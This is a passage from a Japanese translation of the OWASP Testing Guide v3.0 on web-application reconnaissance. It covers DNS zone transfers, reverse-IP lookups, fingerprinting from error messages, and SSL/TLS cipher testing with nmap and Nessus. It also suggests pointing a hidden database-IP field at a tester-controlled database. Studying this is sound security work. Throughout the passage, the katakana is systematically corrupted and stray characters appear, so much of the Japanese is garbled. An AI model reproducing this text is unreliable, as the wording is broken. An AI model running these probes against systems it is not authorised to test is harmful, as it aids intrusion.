Apache Tomcat がホート 8080 番 で 稼 動 しています。<br />

同 じような 結 果 が 脆 弱 性 シカメナーによっても 得 られるかもしれません。ただ、http(s)が 特牐 別 なホートで 稼 動 していたとしても<br />

識 別 することができるシカメナーを 選遥 ぶことが 必 要 です。たとえば、Nessus[3]は、 任 意 のホートで 稼 動 するコービシ 識 別 す<br />

ることができ、SSL が 実 装 された https の web コービシを 含 め、 数 多 くのウェブコーバの 脆 弱 性 の 有 無 をテシトすることがで<br />

きます。 前 述 での 手 がかりのように、Nessus は 通 常 気 づかないがよく 知 られているアプヨクーサュヱ/web イヱソーフェーシ<br />

( 例 えば、Tomcat の 管 理 イヱソーフェーシなど'についても 調 べることができます。<br />

課 題 への 対 処 3 – 仮 想 ホステ<br />

IP アドリシ x.y.z.t に 紐 付 く DNS 名 を 特牐 定 する 方 法 は、 数 多 くあります。<br />

DNS のゼーヱ 転 送<br />

この 方 法 は、 現 在 多 くの DNS コーバにおいて、 特牐 定 のコーバ 以 外 からのゼーヱ 転 送 の 利 用 を 禁 止 しているため、 使 用 は<br />

75


限 定 的 です。しかし、 試 してみる 価 値 はあります。まず 第 一 に IP アドリシ x.y.z.t を 与 えている DNS コーバを 特牐 定 しなければ<br />

なりません。もし x.y.z.t に 対 するサヱペヨッキ 名 を 知 っているのであれば( 仮 にそれを“www.example.com”としてください'、<br />

DNS コーバは nslookup、host、dig ケボヱドなどを 用 いて、DNS コーバの NS リケードに 問 い 合 わわせることにより 特牐 定 すること<br />

ができます。もし、x.y.z.t に 対 するサヱペヨッキ 名 がわわからないが、 少 なくとも 1 つは 特牐 定 したいというのであれば、 同 じような<br />

方 法 を 用 いて、その 名 前 の DNS コーバにキウヨを 出 してみるといいかもしれません。( 願 わわくば、x.y.z.t がその DNS コーバ<br />

によって 与 えられることです' 例 えば、 対 象 の IP が x.y.z.t で 名 前 が mail.example.com である 場 合 、ドミイヱ example.com<br />

に 対 する DNS コーバを 明 らかにします。<br />

以 下 は、www.owasp.org に 対 する DNS コーバを 特牐 定 するために、host ケボヱドを 利 用 した 例 です。<br />

$ host –t ns www.owasp.org<br />

www.owasp.org is an alias for owasp.org.<br />

owasp.org name server ns1.secure.net.<br />

owasp.org name server ns2.secure.net.<br />

ゼーヱ 転 送 は、ドミイヱ example.com を 管 理 する DNS コーバが 利 用 する 場 合 があります。もしその 情 報 を 取 得 できたならば、<br />

このドミイヱに 対 する DNS ウヱトヨの 一 覧 を 取 得 したことになります。その 中 には、 既 に 明 らかとなっている<br />

www.example.com のゼーヱ 情 報 だけでなく、 外 部邪 に 知 られていない helpdesk.example.com や webmail.example.com など<br />

のゼーヱ 情 報 が 含 まれている 場 合 があります(もちろん、 他 も 含 まれている 可 能 性 もあります'。ゼーヱ 転 送 によって 返 された<br />

ドミイヱ 名 をタェッキし、 対 象 のサシテマをテシトする 際 に 必 要 となる 情 報 はすべて 調 べるようにしましょう。<br />

以 下 は、それら DNS コーバのうちの 1 台 にドミイヱ owasp.org に 対 するゼーヱ 転 送 の 要 求 を 試 みた 結 果 です。<br />

$ host –l www.owasp.org ns1.secure.net<br />

Using domain server:<br />

Name: ns1.secure.net<br />

Address: 192.220.124.10#53<br />

Aliases:<br />

Host www.owasp.org not found: 5(REFUSED)<br />

; Transfer failed.<br />

DNS 逆 引 き<br />

前 述 の 話 とよく 似 ていますが、この 方 法 は DNS の PTR リケードを 用 います。ゼーヱ 転 送 を 要 求 するのではなく、リケードソイ<br />

プを PTR に 設 定 し、 所 定 の IP アドリシでキウヨを 出 してみてください。DNS ウヱトヨが 取 得 できるかもしれません。ただ、この<br />

方 法 は、IP アドリシに 基 づくサヱペヨッキ 名 がボッピヱギされていいなければ 使 用 することができないため、 必 ず 動 作 する 保<br />

証 はありません。<br />

Web による DNS 検 索<br />

この 種 の 検 索 コービシは、DNS ゼーヱ 転 送 と 同 類 ですが、DNS 上 で 名 前 プーシによる 検 索 を 可 能 にする Web プーシのコ<br />

ービシです。そのコービシの 1 つとして Netcraft DNS 検 索 コービシがあり、URL http://searchdns.netcraft.com/?host で 利<br />

用 できます。あなたが 入 力 したドミイヱ( 例 えば example.com'に 属 する 名 前 に 対 する 検 索 キウヨを 送 ります。 表 示 された 結<br />

果 から 探 しているネーマがないか 調 べます。<br />

ヨバーシ IP コービシ<br />

ヨバーシ IP は DNS 逆 引 き 検 索 と 似 ていますが、DNS コーバではなくウェブアプヨクーサュヱを 使 用 しているのが 特牐 徴 です。<br />

以 下 に 見 られるように 現 在 多 くのコービシが 利 用 できます。ただ、 結 果 の 情 報 が 断 爭 的 だったり、そもそも 遊 っていたりする<br />

場 合 もありますので、 複 数 のコービシを 並 行 して 利 用 するとよいでしょう。<br />

76


<strong>OWASP</strong> Testing Guide v3.0<br />

Domain tools reverse IP: http://www.domaintools.com/reverse-ip/ (requires free membership)<br />

MSN search: http://search.msn.com syntax: “ip:x.x.x.x” (without the quotes)<br />

Webhosting info: http://whois.webhosting.info/ syntax: http://whois.webhosting.info/x.x.x.x<br />

DNSstuff: http://www.dnsstuff.com/ (multiple services available)<br />

http://net-square.com/msnpawn/index.shtml (multiple queries on domains and IP addresses, requires installation)<br />

tomDNS: http://www.tomdns.net/ (some services are still private at the time of writing)<br />

SEOlogs.com: http://www.seologs.com/ip-domains.html (reverse-IP/domain lookup)<br />

下 記 の 例 は、 上 記 で 紹 介 したヨバーシ IP のコービシを 利 用 した IP アドリシ 216.48.3.18(www.owasp.org'の 結 果 を 紹 介 し<br />

ています。この 結 果 により、 明 らかにされていない 3 つのサヱペヨッキ 名 が 同 じ IP アドリシに 紐 付 けられていることがわわかりま<br />

す。<br />

Google の 利 用<br />

情 報 収 集 の 手 法 について 前 述 の 紹 介 により、 検 索 ウヱザヱは 分 析 の 手 段 としてますます 効 率狨 的 な 利 用 が 期 待 できます。こ<br />

れは、あなたの 調 べたいサヱペヨッキ 名 に 関 連連 する 情 報 の 収 集 や、これまで 明 らかにされていなかった URL を 通 じてのアプ<br />

ヨクーサュヱアキスシが 可 能 になるかもしれません。 結 局 のところ、 前 述 の 例 www.owasp.org に 関 して 言 えば、Google や 他<br />

の 検 索 ウヱザヱでも 調 べることができます。(すなわわち、DNS 名 が' 新 しい webgoat.org、webscarab.com、webscarab.net を<br />

発 見 することと 同 じことになります。Google 検 索 を 使 った 手 法 は「4.2.1 テシト: シパイゾ、ルペット、キルーヨヱギ」で 紹 介 してい<br />

ます。<br />

ギレアボチクステステとその 事 例<br />

該 当 するものはありません。どれ 程 の 情 報 を 事 前 に 持 っていても、ここでの 方 法 はブョッキペッキシテシトと 同 様 になります。<br />

参 照<br />

ホワロアテペーパー<br />

77


[1] RFC 2616 – Hypertext Transfer Protocol – HTTP 1.1<br />

ヂール<br />

• DNS lookup tools such as nslookup, dig or similar.<br />

• Port scanners (such as nmap, http://www.insecure.org) and vulnerability scanners (such as Nessus: http://www.nessus.org;<br />

wikto: http://www.sensepost.com/research/wikto/).<br />

• Search engines (Google, and other major engines).<br />

• Specialized DNS-related web-based search service: see text.<br />

• nmap – http://www.insecure.org<br />

• Nessus Vulnerability Scanner – http://www.nessus.org<br />

4.2.6 エラーケーデの 分 析 (<strong>OWASP</strong>-IG-006)<br />

概 要<br />

ウェブアプヨクーサュヱテシトでは、アプヨクーサュヱもしくはウェブコーバから 多 くのウョーケードを 見 るクーシに 数 多 く 遜 遇逽<br />

します。これらのウョーは、ヨキウシトを 改 ざんすることによって 表 示 させることができますが、それらのヨキウシトは、ツーラを<br />

用 いて 簡 単 に 送 付 できますし、 個 別 に 作 成 することもできます。これらのウョーケードはテシトを 進逭 めていくにあたって 非 常<br />

に 重 要 な 情 報 となりえます。その 理 由 は、ウョーケードからデーソプーシ、バギ、さらにはウェブアプヨクーサュヱで 使 わわれる<br />

ケヱホーネヱトなど、これらに 関 する 多 くの 情 報 が 取 得 できるからです。ここでの 説 明 は、これらの 一 般 的 なケード(ウョーミ<br />

ッスーザの 内 容 'について 分 析 を 行 い、 脆 弱 性 の 存 在 を 識 別 するための 足 がかりの1つにしたいと 思 います。ここで 最 も 重<br />

要 なことは、これらのウョーが 分 析 の 次 段 階 へ 進逭 むための 重 要 な 手 段 であることを 意 識 し、 注 意 深 く 調 べることです。 優 秀<br />

なデーソは、 侵 入 テシトをするにあたって 必 要 な 時 間 を 削 減 し、 効 率狨 的 、 効 果 的 な 評 価 を 可 能 にします。<br />

概 要 の 説 明<br />

よく 見 かける 典 型 的 なウョーケードとして、 “HTTP 404 Not Found” があります。このウョーケードには、 時 としてウェブコーバ<br />

や 付 随 するケヱホーネヱトに 関 する 有 益 な 情 報 が 含 まれている 場 合 があります。 例 えば、<br />

Not Found<br />

The requested URL /page.html was not found on this server.<br />

Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g DAV/2 PHP/5.1.2 Server at localhost Port 80<br />

このウョーミッスーザは、ヨキウシトした URL が 存 在 しない 場 合 に 表 示 されるものです。 指 定 のヘーザが 存 在 しない 旨 をウョ<br />

ーミッスーザとして 表 示 すると、それらにはウェブコーバ、OS、ムザャーラ、あるいは 他 の 製 品 など、 使 用 しているバーザュヱ<br />

の 情 報 が 含 まれているのです。この 情 報 は、OS やアプヨクーサュヱ 種 別 、バーザュヱなどを 識 別 する 観 点 から、とても 重 要 に<br />

なるのです。<br />

ウェブコーバのウョーは、スカャヨティ 分 析 を 目 的 として 利 用 される 中 で 唯 一 の 情 報 ではありません。 次 の 例 で 考 えてみまし<br />

ょう。<br />

Microsoft OLE DB Provider for ODBC Drivers (0x80004005)<br />

78


<strong>OWASP</strong> Testing Guide v3.0<br />

[DBNETLIB][ConnectionOpen(Connect())] – SQL server does not exist or access denied<br />

何 が 起 きたのでしょうか?= 以 下 で1つ1つ 説 明 していきます。<br />

この 例 では、「80004005」が IIS のウョーケードナヱバーにあたり、 付 随 するデーソプーシへのアキスシができなかったことを<br />

示 しています。 多 くの 場 合 において、ウョーミッスーザにはデーソプーシの 種 別 が 特牐 定 できる 情 報 が 含 まれています。 付 随<br />

するサシテマを 通 じて、 裏 に 潜 む OS の 存 在 を 示 しています。この 情 報 を 利 用 してテシト 者 は 対 象 サシテマに 対 する 的 確 な<br />

攻 略 を 見 いだせることができるのです。<br />

デーソプーシに 接 続 するために 使 用 される 文 字 列 を 様 々な 値 に 変 えることによって、 多 くの 詳 細 なウョーミッスーザを 取 得<br />

することができます。<br />

Microsoft OLE DB Provider for ODBC Drivers error ‘80004005’<br />

[Microsoft][ODBC Access 97 ODBC driver Driver]General error Unable to open registry key<br />

‘DriverId’<br />

この 例 では、やはり 同 様 にウョーミッスーザから、 付 随 するデーソプーシの 種 別 やバーザュヱに 関 する 情 報 が 取 得 でき、さ<br />

らにこの 場 合 ウョーの 原 因 が WindowsOS のリザシトヨカー 値 に 関 係 していることが 明 らかになりました。<br />

では、これからそのデーソプーシへのアキスシが 想 定 された 範 囲 外 のウョーとして 取 扱 うことになったウェブアプヨクーサュヱ<br />

に 対 し、より 実 践 的 な 例 を 見 てみましょう。この 事 象 は、デーソプーシの 名 前 解 決 の 不 具 合 、 不 適遚 切 な 文 字 列 の 取 扱 い 時 、<br />

あるいはその 他 ネットワローキの 不 具 合 によって 引 き 起 こされます。<br />

ここで1つの 状牮 況 を 考 えてみましょう。 今 私 たちが Web を 使 ったデーソプーシ 管 理 者 で、GUI のフルヱトウヱド 上 から 検 索 キ<br />

ウヨを 出 したり、テーブラを 作 成 したり、デーソプーシのフィーラドを 更 新 したりすることができるものだと 想 像 してください。<br />

POST ミセッドでルギエヱ 時 の 認 証 情 報 を 送 付 する 場 面 において、 以 下 のようなウョーミッスーザがテシト 者 の 前 に 表 示 され<br />

ました。このミッスーザには MySQL デーソプーシの 存 在 を 示 しています。<br />

Microsoft OLE DB Provider for ODBC Drivers (0x80004005)<br />

[MySQL][ODBC 3.51 Driver]Unknown MySQL server host<br />

もし 私 たちがルギエヱヘーザの HTML セーシケードにある hidden フィーラドにデーソプーシ IP の 値 を 発 見 したならば、すで<br />

にウェブアプヨクーサュヱに 自 らがルギイヱしているように 思 わわせることを 目 的 として、URL にあるこの IP アドリシをテシト 者 の<br />

管 理 下 にあるデーソプーシのアドリシに 改 ざんすることができます。<br />

その 他 の 例 8ウェブアプヨクーサュヱを 提 供 しているデーソプーシコーバについて 理 解 を 深 めることは、 上 記 のようなデーソ<br />

プーシに 対 する SQL イヱザェキサュヱ、あるいは 格 納 型 キルシコイトシキヨプティヱギのテシトにあたってとても 役 に 立 つもので<br />

す。<br />

ISS およびび ASP.net でのエラーハンヱデリンヱギ<br />

ASP .net は、Microsoft におけるウェブアプヨクーサュヱを 開 発 するためのよく 知 られたフリーマワローキです。IIS はよく 利 用 さ<br />

れるウェブコーバのうちの 1 つです。ウョーは 様 々な 状牮 態 を 想 定 して 表 示 するよう 設 定 されるものですが、すべてをォバー<br />

しているわわけではありません。(すべて 想 定 しておくのは 至 難 の 業 です'<br />

IIS では、“404 page not found”のようなウョーヘーザを 表 示 させるために、“c:\winnt\help\iishelp\common”にあるウョーヘ<br />

ーザをォシソボイジして 使 用 します。IIS では、これらのデフェラトに 設 定 されたヘーザを 変 更 したり、ウョーヘーザをォシソマ<br />

したりすることもできます。IIS が aspx ヘーザへのヨキウシトを 受 けたとき、そのヨキウシトは.net のフリーマワローキに 渡 されます。<br />

79


ウョーが.net フリーマワローキ 上 で 取 り 扱 うことができる 方 法 がいつくか 挙 げられます。ASP.net では、3つのウョー 処 理 機 能<br />

があります。<br />

1. Inside Web.config customErrors section 2. Inside global.asax Application_Error Sub 3. At<br />

the the aspx or associated codebehind page in the Page_Error sub<br />

Web.configi でのエラーハンヱデリンヱギ<br />

<br />

<br />

<br />

<br />

mode=”On”は、ォシソマウョーを 返 す 設 定 です。“mode=RemoteOnly”は、ォシソマウョーがヨムートからアキスシしに 来 てい<br />

るヤーゴに 対 して 使 わわれる 設 定 です。ルーォラでコーバにアキスシするヤーゴには、 完媍 全 なシソッキトリーシが 表 示 されるた<br />

め、ォシソマウョーヘーザがありません。<br />

これらのように 明 確 に 示 されたウョーを 除 くすべてのウョーヘーザは、defaultRedirect 属 性 によって 指 定 された URL にヨゾ<br />

イリキトされます。すなわわち、myerrorpagedefault.aspx.などです。シテーソシケード 404 は、myerrorpagefor404.aspx によっ<br />

て 取 り 扱 わわれます。<br />

Global.asax でのエラーハンヱデリンヱギ<br />

ウョーが 生 じると、コブラータヱが 呼 ばれます。 開 発 者 はこのラータヱ 内 を 修 正 することで、ウョーをォシソボイジしたり、<br />

ヘーザのヨゾイリキト 設 定 ができます。<br />

Private Sub Application_Error (ByVal sender As Object, ByVal e As System.EventArgs)<br />

Handles MyBase.Error<br />

End Sub<br />

Page__Error サブルータンヱでのエラーハンヱデリンヱギ<br />

これはアプヨクーサュヱウョーと 同 様 になります。<br />

Private Sub Page_Error (ByVal sender As Object, ByVal e As System.EventArgs)<br />

Handles MyBase.Error<br />

End Sub<br />

ASP .net でのエラー 階 層<br />

Page_Error のコブラータヱが 最 初 に 処 理 され、 続 いて global.asax Application_Error のコブラータヱに 移 り、 最 後 に 設 定<br />

ファイラ web.config 内 の customErrors で 処 理 されます。<br />

コーバコイド 技 術 によるウェブアプヨクーサュヱの 情 報 収 集 は、 本 当 に 難 しいものです。ただ、そこで 得 られた 情 報 によって<br />

適遚 切 な 検 証 や 診 断 ( 例 えば、SQL イヱザェキサュヱやキルシコイトシキヨプティヱギなど'が 可 能 になり、 誤 検 知 を 減 らすことに<br />

も 期 待 できます。<br />

ASP.net およびび IIS エラーハンヱデリンヱギの 検 証 方 法<br />

ブョウゴを 起 動 し、 適遚 当 なヘーザ 名 をアドリシバーに 入 れてみてください。<br />

http://www.mywebserver.com\anyrandomname.asp<br />

以 下 のようなリシホヱシ<br />

The page cannot be found<br />

80


<strong>OWASP</strong> Testing Guide v3.0<br />

HTTP 404 – File not found<br />

Internet Information Services<br />

が 得 られれば 、IIS のォシソマウョーヘーザが 存 在 しない( 設 定 されていない'ことが 分 かります。Asp の 拡 張 子婡 に 注 目 して<br />

みましょう。<br />

また、.net のォシソマウョーヘーザの 存 在 を 確 認 してみます。ブョウゴのアドリシバーに 拡 張 子婡 を.aspx として 適遚 当 なヘーザ<br />

名 を 入 れてみてください。<br />

http://www.mywebserver.com\anyrandomname.aspx<br />

以 下 のようなリシホヱシが 得 られれば、<br />

Server Error in ‘/’ Application.<br />

対 象 のヘーザは 存 在 しません。<br />

説 明 : HTTP 404 について8 探 しているヨセーシ(あるいはその 属 性 の1つ'が 移 動 したか、 名 前 が 変 更 されたか、あるいは 一<br />

時 的 にアキスシできない 状牮 態 です。 以 下 の URL を 確 認 し、 入 力 した 語 句 が 正 しいかどうか 確 認 してください。<br />

この 結 果 からも、 前 述 と 同 様 に.net のォシソマウョーは 存 在 しないということが 分 かります。<br />

ブラチクボチクステステとその 事 例<br />

テステ 項 目 :<br />

telnet 80<br />

GET / HTTP/1.1<br />

<br />

結 果 :<br />

HTTP/1.1 404 Not Found<br />

Date: Sat, 04 Nov 2006 15:26:48 GMT<br />

Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g<br />

Content-Length: 310<br />

Connection: close<br />

Content-Type: text/html; charset=iso-8859-1<br />

テステ 項 目 :<br />

1. ネットワークの 問 題<br />

2.データベースアドレスの 設 定 が 不 適 切<br />

結 果 :<br />

Microsoft OLE DB Provider for ODBC Drivers (0x80004005) ‘<br />

[MySQL][ODBC 3.51 Driver]Unknown MySQL server host<br />

テステ 項 目 :<br />

1. 認 証 の 失 敗<br />

2. 認 証 情 報 が 含 まれていない<br />

81


結 果 :<br />

認 証 に 必 要 なファイヤーウォールのバージョンを 取 得 :<br />

Error 407<br />

FW-1 at : Unauthorized to access the document.<br />

Authorization is needed for FW-1.<br />

The authentication required by FW-1 is: unknown.<br />

Reason for failure of last attempt: no user<br />

ギレアボチクステステとその 事 例<br />

テステ 項 目 :<br />

アキスシ 拒 否 するディリキトヨの 列 挙<br />

http:///<br />

結 果 :<br />

Directory Listing Denied<br />

This Virtual Directory does not allow contents to be listed.<br />

Forbidden<br />

You don’t have permission to access / on this server.<br />

参 照<br />

ホワロアテペーパー:<br />

[1] [RFC2616] Hypertext Transfer Protocol – HTTP/1.1<br />

4.3 設 定 管 理 のテステ<br />

基 盤 やネットワローキトホルザ 構 成 の 分 析 によって、 対 象 のウェブアプヨクーサュヱがより 明 確 になる 場 合 があります。セーシケ<br />

ードや 許 可 する HTTP ミセッドの 種 類 、 管 理 者 機 能 の 存 在 、 認 証 方 法 や 基 盤 関 連連 の 設 定 情 報 など、さまざまな 情 報 を 取 得<br />

することができます。<br />

4.3.1 SSL/TLS のテシト (<strong>OWASP</strong>-CM-001)<br />

SSL や TLS は、 暗 号 化 をコホートし 機 密 性 を 確 保 するためのスカャアなタメネラを 提 供 するプルトケラで、 主 に 認 証 情 報 な<br />

どを 送 信 する 際 に 用 いられます。<br />

これらのプルトケラの 導 入 するにあたってのスカャヨティ 上 の 問 題 点 を 考 慮 する 場 合 、 高 い 強 度 を 持 つ 暗 号 アラゲヨジマを<br />

導 入 し、 適遚 切 に 実 装 されているか 確 認 することが 重 要 です。<br />

4.3.2 DB ヨシナーのテシト (<strong>OWASP</strong>-CM-002)<br />

デーソプーシ 設 定 の 際 、DB 管 理 者 の 多 くは DB ヨシナーのケヱホーネヱトの 安 全 性 を 十 分 考 慮 していません。もし 手 動 ある<br />

いは 自 動 的 な 処 理 を 用 いて 不 適遚 切 な 設 定 、 精 査 をした 場 合 、ヨシナーから 構 成 の 設 定 、もしくは 稼 動 デーソプーシのイヱシ<br />

ソヱシ 情 報 に 匹 敵 するほどの 重 要 な 情 報 を 取 得 することができます。これら 明 らかにされた 情 報 は、テシト 者 にとって、 後 に<br />

説 明 しますが、より 影 響 力 の 高 いテシトのデーソとして 用 いることができる 場 合 があり、とても 役 に 立 ちます。<br />

82


<strong>OWASP</strong> Testing Guide v3.0<br />

4.3.3 イヱフョシトョキタメの 設 定 に 関 するテシト (<strong>OWASP</strong>-CM-003)<br />

相 互 連連 携 や、 多 様 な 構 成 からなる 複 雑 なウェブコーバのイヱフョシトョキタメは、( 数 えれば 何 百 ものウェブアプヨクーサュヱ<br />

がありますが'それぞれのウェブアプヨクーサュヱのテシト、あるいは 導 入 時 における 設 定 管 理 の 評 価 および 基 本 的 段 階 で<br />

のリビャーが 求 められます。 実 際 、イヱフョシトョキタメ 全 体 の 安 全 性 を 脅 かすたった 1 つの 脆 弱 性 や、 影 響 の 小 さい 不 具<br />

合 、(ほとんどの' 重 要 でない 不 具 合 であったとしても、 同 じコーバ 上 にある 他 のアプヨクーサュヱに 影 響 を 及 ぼし、 重 大 な 事<br />

故 につながる 可 能 性 があります。これらの 問 題 に 対 応 するためには、 設 定 状牮 態 や 既 知 の 脆 弱 性 に 関 する 徹 底 的 なリビャー<br />

が 特牐 に 重 要 になってくるのです。<br />

4.3.4 アプヨクーサュヱ 設 定 に 関 するテシト (<strong>OWASP</strong>-CM-004)<br />

ウェブアプヨクーサュヱによっては、 開 発 時 あるいはアプヨクーサュヱ 自 体 の 設 定 の 際 に 削 除 することを 考 慮 しなかった 有 益<br />

な 情 報 が 残 っている 場 合 があります。<br />

これらは 主 にセーシケードやルギファイラ、あるいは(ォシソボイジされていない'ウェブコーバのデフェラトウョーのミッスー<br />

ザの 中 で 見 つけることができます。ここを 適遚 切 に 攻 略 することは、 対 象 のアプヨクーサュヱを 評 価 するにあたっての 基 礎 となり<br />

えます。<br />

4.3.5 拡 張 子婡 の 取 扱 いに 関 するテシト (<strong>OWASP</strong>-CM-005)<br />

ウェブコーバやアプヨクーサュヱに 存 在 するファイラの 拡 張 子婡 は、 対 象 のアプヨクーサュヱを 構 成 するにあたって 使 わわれる 技<br />

術 を 明 確 にします。 例 えば、.jsp や.asp などが 該 当 します。ファイラの 拡 張 子婡 は、アプヨクーサュヱに 紐 付 く 他 のサシテマの<br />

存 在 を 突 き 止 めることも 可 能 になります。<br />

4.3.6 旧 ファイラ、バッキアップファイラ、 未 参 照 ファイラのテシト (<strong>OWASP</strong>-CM-006)<br />

例 えば 旧 ファイラやバッキアップファイラ、ヨネーマされたファイラなど、 実 際 のコービシに 不 必 要 なファイラが 既 読 できたり<br />

ゾウヱルードできたりすることは、 情 報 漏 えいの 元 凶 になります。これらのファイラには、セーシケードの 一 部邪 やイヱシトーラパ<br />

シの 情 報 、さらにはアプヨクーサュヱもしくはデーソプーシのパシワロードが 含 まれている 場 合 があるため、これらのファイラの<br />

存 在 を 確 認 することが 重 要 です。<br />

4.3.7 イヱフョシトョキタメおよび 管 理 機 能 のイヱソーフェーシに 関 するテシト (<strong>OWASP</strong>-CM-007)<br />

多 くのアプヨクーサュヱは、 推 測 、あるいはブラートフェーシ 攻 撃 を 用 いてパシワロードキョッカヱギを 試 みる 管 理 者 専 用 機 能<br />

に 一 般 的 によく 知 られたパシを 用 いています。このテシトは、 管 理 者 機 能 の 発 見 と、アキスシするために 先 述 のような 攻 撃 が<br />

適遚 用 できるかどうかを 判 断 するために 有 効 です。<br />

4.3.8 HTTP ミセッドに 関 するテシト、およびキルシコイトトリーサヱギのテシト (<strong>OWASP</strong>-CM-008)<br />

ここでは、 対 象 のウェブコーバが 危 険 な HTTP ミセッドの 使 用 を 許 可 するような 設 定 にしていないか、あるいは、キルシコイトト<br />

リーサヱギが 実 行 できないかどうかについてテシトします。<br />

4.3.1 SSL/TLS のテシト (<strong>OWASP</strong>-CM-001)<br />

概 要<br />

これまでの 歴 史 的 背 景 にある 高 度 な 暗 号 化 技 術 に 対 する 輸 出 制 限 によって、 従 来 あるいは 新 しいウェブコーバでは、 脆 弱<br />

な 暗 号 アラゲヨジマの 取 扱 いをケヱトルーラすることが 可 能 だったかもしれません。<br />

たとえ 高 度 な 暗 号 がイヱシトーラし 使 用 されていたとしても、コーバ 側 の 不 十 分 な 設 定 によってスカャアな 通 信 を 確 立 する<br />

場 合 に、 脆 弱 な 暗 号 を 強 制 することが 可 能 となる 場 合 があります。<br />

83


SSL / TLS の 利 用 暗 号 のテステおよびび 対 象 サアテでの 要 求 事 項<br />

http は 平 文 で 通 信 するプルトケラであるため、 通 常 は SSL あるいは TLS トヱネヨヱギ、いわわゆる https 通 信 によって 機 密 性 を<br />

確 保 しています。https は、 通 信 を 暗 号 化 することに 加 えて、デザソラ 証 明 書 によってコーバ(あるいはキョイアヱト'を 識 別<br />

( 任 意 'します。<br />

歴 史 的 な 背 景 を 説 明 すると、これまでアミヨォ 政 府 によって 海 外 に 輸 出 できる 暗 号 技 術 は、 多 くても 40 ビットまでの 鍵 長 ( 暗<br />

号 が 解 読 できる 強 度 'に 制 限 されていました。 以 降 、(いくらかの 制 約 は 残 っていますが' 暗 号 技 術 の 輸 出 規 制 が 緩 和 され、<br />

より 高 い 鍵 長 の 輸 出 が 認 められるようになりました。しかし、SSL の 設 定 において 安 易 に 解 読 できる 脆 弱 な 暗 号 鍵 をコホート<br />

する 設 定 になっていないか 確 認 することが 重 要 です。SSL 技 術 を 用 いているコービシにおいては、 脆 弱 な 暗 号 鍵 が 選遥 択 さ<br />

れる 可 能 性 を 排 除 すべきです。<br />

技 術 的 な 話 をすると、SSL で 用 いられる 暗 号 は 以 下 のように 決 定 されます。 最 初 に SSL 通 信 が 確 立 されると、キョイアヱトは<br />

コーバに 対 し、 情 報 をやり 取 りする 際 に 使 用 できる 暗 号 シイートの 一 覧 を ClientHello ミッスーザとして 送 付 します。キョイア<br />

ヱトは 主 にブョウゴ( 今 では 最 も 主 流 な SSL キョイアヱトです'ですが、SSL 対 応 のアプヨクーサュヱであればキョイアヱトにな<br />

りえますので、ブョウゴだけに 限 りません。このことはコーバ 側 にもいえますが、これは 最 も 一 般 的 な 例 です( 例 えば、SSL キ<br />

ョイアヱトで 言 うと、SSL 非 対 応 の 通 信 を 中 継 することによって SSL を 確 立 する stunnel(www.stunnel.org'のような SSL プル<br />

カサが 挙 げられます'。 暗 号 シイートは、 暗 号 プルトケラ(DES、RC4、AES など'、 鍵 長 (40 ビットや 56 ビットあるいは 128 ビッ<br />

トなど'、および 完媍 全 性 の 検 証 に 用 いられるハッサャアラゲヨジマ(SHA、MD5 など'の 組 み 合 わわせによって 決 まります。コー<br />

バは、ClientHello ミッスーザを 受 け 取 ると、 独犉 自 に 通 信 に 使 用 する 暗 号 シイートを 決 定 します。ただ、( 例 えば、ディリキティ<br />

ブの 設 定 によって'どの 暗 号 シイートを 利 用 するかは 任 意 に 決 めることができます。このため、 例 えばキョイアヱトとの 通 信 に<br />

40 ビットの 脆 弱 な 暗 号 アラゲヨジマだけをコホートする、というような 設 定 も 可 能 になるかもしれないのです。<br />

ブラチクボチクステステとその 事 例<br />

脆 弱 な 暗 号 コホートを 特牐 定 するためには、SSL/TLS に 対 応 しているコービシのホートをまず 特牐 定 する 必 要 があります。これら<br />

の 中 には、 標 準 の https のホートである 443 番 が 含 まれておりますが、 変 更 されている 場 合 があります。その 理 由 は、a'<br />

https のコービシが 特牐 殊 なホート 上 で 稼 動 している 場 合 があること、b) 対 象 のウェブアプヨクーサュヱに 関 連連 する 他 の<br />

SSL/TLS を 実 装 したコービシがあるかもしれないこと、が 挙 げられます。ゆえに、これらのホートを 特牐 定 するためには、まずコ<br />

ービシを 突 き 止 めることが 求 められるのです。<br />

nmap のシカメナーでは、シカメヱエプサュヱに“–sV”を 設 定 することで、SSL コービシを 特牐 定 することが 可 能 です。 脆 弱 性 シ<br />

カメナーには、 稼 動 コービシの 検 出 に 加 えて、 脆 弱 な 暗 号 が 使 用 されているか 確 認 することができます。( 例 えば、Nessus<br />

は 任 意 のホート 上 での SSL コービシを 特牐 定 することができ、 脆 弱 な 暗 号 が 使 用 されていれば 報 告 します'<br />

例 1. nmap を 使 用 した SSL コービシ 評 価 の 事 例<br />

[root@test]# nmap -F -sV localhost<br />

Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2005-07-27 14:41 CEST<br />

Interesting ports on localhost.localdomain (127.0.0.1):<br />

(The 1205 ports scanned but not shown below are in state: closed)<br />

PORT STATE SERVICE VERSION<br />

443/tcp open ssl OpenSSL<br />

84


<strong>OWASP</strong> Testing Guide v3.0<br />

901/tcp open http Samba SWAT administration server<br />

8080/tcp open http<br />

Apache httpd 2.0.54 ((Unix) mod_ssl/2.0.54 OpenSSL/0.9.7g<br />

PHP/4.3.11)<br />

8081/tcp open http Apache Tomcat/Coyote JSP engine 1.0<br />

Nmap run completed -- 1 IP address (1 host up) scanned in 27.881 seconds<br />

[root@test]#<br />

例 2. Nessus を 使 った 脆 弱 な 暗 号 の 有 無 を 確 認 する 事 例 です。 以 下 は、Nessus シカメナーが 報 告 した、あるリホートの 抜<br />

粋 です。 脆 弱 な 暗 号 をコホートする 証 明 書 が 用 いられていることが 分 かります。( 最 後 部邪 を 見 てください'<br />

https (443/tcp)<br />

Description<br />

Here is the SSLv2 server certificate:<br />

Certificate:<br />

Data:<br />

Version: 3 (0x2)<br />

Serial Number: 1 (0x1)<br />

Signature Algorithm: md5WithRSAEncryption<br />

Issuer: C=**, ST=******, L=******, O=******, OU=******, CN=******<br />

Validity<br />

Not Before: Oct 17 07:12:16 2002 GMT<br />

Not After : Oct 16 07:12:16 2004 GMT<br />

Subject: C=**, ST=******, L=******, O=******, CN=******<br />

Subject Public Key Info:<br />

Public Key Algorithm: rsaEncryption<br />

RSA Public Key: (1024 bit)<br />

Modulus (1024 bit):<br />

00:98:4f:24:16:cb:0f:74:e8:9c:55:ce:62:14:4e:<br />

6b:84:c5:81:43:59:c1:2e:ac:ba:af:92:51:f3:0b:<br />

